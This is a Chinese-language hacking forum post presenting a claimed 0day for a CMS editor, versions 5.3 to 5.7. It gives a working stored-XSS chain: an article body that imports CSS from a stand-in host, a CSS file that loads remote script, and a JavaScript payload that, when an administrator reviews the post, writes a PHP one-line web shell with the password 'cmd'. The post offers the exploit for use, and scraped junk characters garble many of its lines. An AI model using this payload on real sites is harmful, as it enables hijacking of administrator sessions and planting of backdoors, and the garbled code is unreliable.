<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell+ [+ F5 K3 ^. U0 }: _& _
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)( ~, t$ {9 G0 r) p8 G( k5 d) L
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。# v) U6 B' p4 q, J: D+ n6 L
下面说说利用方法。
$ d. W4 \& t. X8 |, U. L条件有2个:
# n" _( D9 {; ~3 Z" D- e1.开启注册
, _% s- _' e$ p0 A- V! R) c. N2.开启投稿
* I, P8 `% _' c2 z注册会员----发表文章- r( W& Y. P$ k
内容填写:
1 E$ j4 H8 R' t+ `& j复制代码1 p( m0 @* [% h0 {; X
<style>@im\port'\http://xxx.com/xss.css';</style>
/ S2 U2 s B) ~/ [/ c8 z1 a" H新建XSS.Css
/ m8 [. {! L! o( a4 N1 U3 @- ]复制代码) g5 {: ?+ c+ E# `; r
.body{- T1 @1 {, M. c& s/ N+ u6 C
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
; r2 x) t) B9 u新建xss.js 内容为: k/ U, o, N, c
复制代码: y4 x5 k' L$ n5 D" S. n G. W
1.var request = false;3 N! v6 |9 w9 z6 ^/ n8 F4 R
2.if(window.XMLHttpRequest) {0 Z7 d$ v$ f. |2 Z+ [! P
3.request = new XMLHttpRequest();
/ y3 L1 }8 P8 L4 \# W$ H4.if(request.overrideMimeType) {
2 A0 g" l1 D3 h" X) m. H& N+ @5.request.overrideMimeType('text/xml');/ K3 v7 F. r! A4 z: a1 h9 L# k
6.}
# ^5 O" Z" ~- T* r6 X2 w* c1 ]2 b* e5 |7.} else if(window.ActiveXObject) {3 K1 G) P1 o$ u3 t7 F
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];# L! Y) m0 O! L: P. E9 y0 t
9.for(var i=0; i<versions.length; i++) {
0 }- u# @1 s. j4 g [) v10.try {
; V7 b9 Z7 v" L11.request = new ActiveXObject(versions);
# H1 J( W: l& |; q& j12.} catch(e) {}. i/ a+ ~* v( g. }$ L9 { O
13.}
! B6 H6 d ?& i) c- R14.}; S9 D3 s/ Y; w0 ^" M6 d3 I8 j: C
15.xmlhttp=request;6 L/ y4 W0 D( z# E. }
16.function getFolder( url ){; d4 p0 s4 V7 \; h" q8 l5 y
17. obj = url.split('/')) g+ e: \1 E5 d# e0 D7 h
18. return obj[obj.length-2]" Y6 e, L! B% C4 x6 f" c
19.}
2 K6 M# C$ ~* B8 q/ c, `/ }20.oUrl = top.location.href;
% b5 Z S1 Y5 x0 M' \% _21.u = getFolder(oUrl);. p8 o! K# Q% E$ c" ]
22.add_admin();% J2 u6 I# o% J) M* T$ ^: ]2 G$ m
23.function add_admin(){
5 c+ F6 `, a/ L8 M7 ^: }2 I" A- c Q% |24.var url= "/"+u+"/sys_sql_query.php";
2 z) Z) j, F% C3 |4 o( f" c* A25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";! J2 J" l! _/ r8 d3 Q6 _/ G7 g
26.xmlhttp.open("POST", url, true);. M) Y( e! y5 u& l- `
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
/ q- Q0 G" \# v" D- s) \' c: k" E28.xmlhttp.setRequestHeader("Content-length", params.length);( I6 g/ Z- f( b, D
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
# }+ n( k# s; f# A4 b6 n# Z5 S30.xmlhttp.send(params);8 f. R# y/ B$ W; x. N; M
31.}( Q! ~) p2 ] Y1 I( h* z
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |